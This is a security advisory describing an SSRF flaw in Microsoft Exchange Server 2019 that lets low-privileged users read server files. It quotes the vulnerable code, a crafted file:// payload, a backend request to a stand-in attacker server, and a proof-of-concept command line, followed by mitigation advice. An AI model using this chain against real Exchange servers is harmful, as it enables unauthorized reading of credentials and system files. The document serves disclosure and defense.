CVE-2026-45504: SSRF Flaw in Microsoft Exchange Server 2019 Enables Arbitrary File Reads

A recently disclosed vulnerability in Microsoft Exchange, tracked as CVE-2026-45504 (CVSS 8.8), has caught the attention of security researchers and exchange administrators alike. At its core, this is a server-side request forgery (SSRF) flaw that, when exploited, allows authenticated low-privileged users to read arbitrary files directly from the underlying Exchange server.

The issue was identified by Batuhan Er of HawkTrace, and it specifically impacts Microsoft Exchange Server 2019. What makes this finding particularly noteworthy is how a seemingly routine URL validation gap in a legacy integration component can be chained into a critical file read operation.

Understanding the WOPI Integration Gap

The vulnerability stems from how Exchange handles externally supplied URLs during the Web Application Open Platform Interface (WOPI) integration process. More specifically, the flaw resides within the OneDriveProUtilities component, which is responsible for processing URLs when generating Web Application Companion (WAC) tokens.

From a code perspective, the issue boils down to unsafe handling of user-controlled input in outbound HTTP requests. The TryTwice method serves as a clear example:

private static WebResponse TryTwice(ICallContext callContext, string url, ICredentials credentials, WebHeaderCollection headers)
{
    HttpWebRequest httpWebRequest = WebRequest.CreateHttp(url);
    httpWebRequest.Method = "GET";
    httpWebRequest.Credentials = credentials;
    ...
    IAsyncResult asyncResult = httpWebRequest.BeginGetResponse(null, null);
    asyncResult.AsyncWaitHandle.WaitOne();
    return httpWebRequest.EndGetResponse(asyncResult);
}

Notice that the url parameter is passed directly into WebRequest.CreateHttp() without any scheme or destination validation. Because of this, an attacker can inject arbitrary endpoints, triggering SSRF behavior. The exploitation path typically flows through GetTokenRequestWebResponse and GetWacUrl, where Exchange constructs backend requests to SharePoint-like endpoints and parses XML responses for critical fields like WebApplicationUrl and AccessToken.

How the Exploit Unfolds

The attack hinges on a subtle but critical trust assumption: Exchange blindly trusts the WebApplicationUrl returned by a remote server. If an attacker hosts a malicious endpoint that responds with a crafted file-based URI, Exchange will process it without question. For example:

file:///C:/Windows/win.ini#

The fragment identifier (#) plays a pivotal role here. When Exchange appends OAuth parameters to the URL, the URI parser treats everything after the # as a fragment and discards it. This means the original file:// path remains intact, effectively bypassing any implicit HTTP expectations. The result? Exchange issues a FileWebRequest to read local system files and returns their contents to the attacker-controlled server.

The exploitation chain begins when a low-privileged user creates a malicious reference attachment via Exchange Web Services (EWS). The attachment points to an attacker-controlled ProviderEndpointUrl. Once the file is accessed or previewed, Exchange initiates a backend request similar to this:

/_api/SP.Utilities.WOPIHostUtility.GetWopiTargetPropertiesByUrl(fileUrl=@p,requestedAction=0)?@p='http://attacker-server/'

When the attacker’s server responds with the crafted file:// URI, Exchange follows through and reads the target file. This technique can be leveraged to extract sensitive configuration files, stored credentials, or other system-level data.

Proof of Concept and Mitigation Guidance

A public proof-of-concept (PoC) has been released that demonstrates how the flaw can be triggered using valid authenticated credentials:

python3 CVE-2026-45504.py --attacker-ip 192.168.2.238 --attacker-port 9020 --creds [email protected] --password Hawktrace1 --target https://mail.exchange.local/ --target-file "C:/Windows/System32/drivers/etc/hosts"

At its root, this vulnerability exists because Exchange fails to enforce strict scheme validation on the WebApplicationUrl field. Without a whitelist or denylist for URL schemes, protocols like file:// slip through and are passed directly to file-handling functions.

From a defensive standpoint, security teams should prioritize the following:

• Implement strict URL scheme validation to explicitly block file://, gopher://, and other non-HTTP protocols.
• Monitor EWS attachment creation and preview activity for anomalous patterns, particularly those involving external or self-hosted endpoints.
• Restrict outbound SSRF-prone traffic where possible, and apply network-level controls to limit internal server-to-server communication.
• Prioritize patching on-premises Exchange deployments as soon as Microsoft releases an official update, and consider temporary access restrictions to minimize the attack surface.

While CVE-2026-45504 requires authentication to exploit, its low privilege threshold and straightforward attack chain make it a serious concern for organizations still running Exchange Server 2019. Proactive validation, least-privilege access, and timely patching remain your best defenses against this class of vulnerability.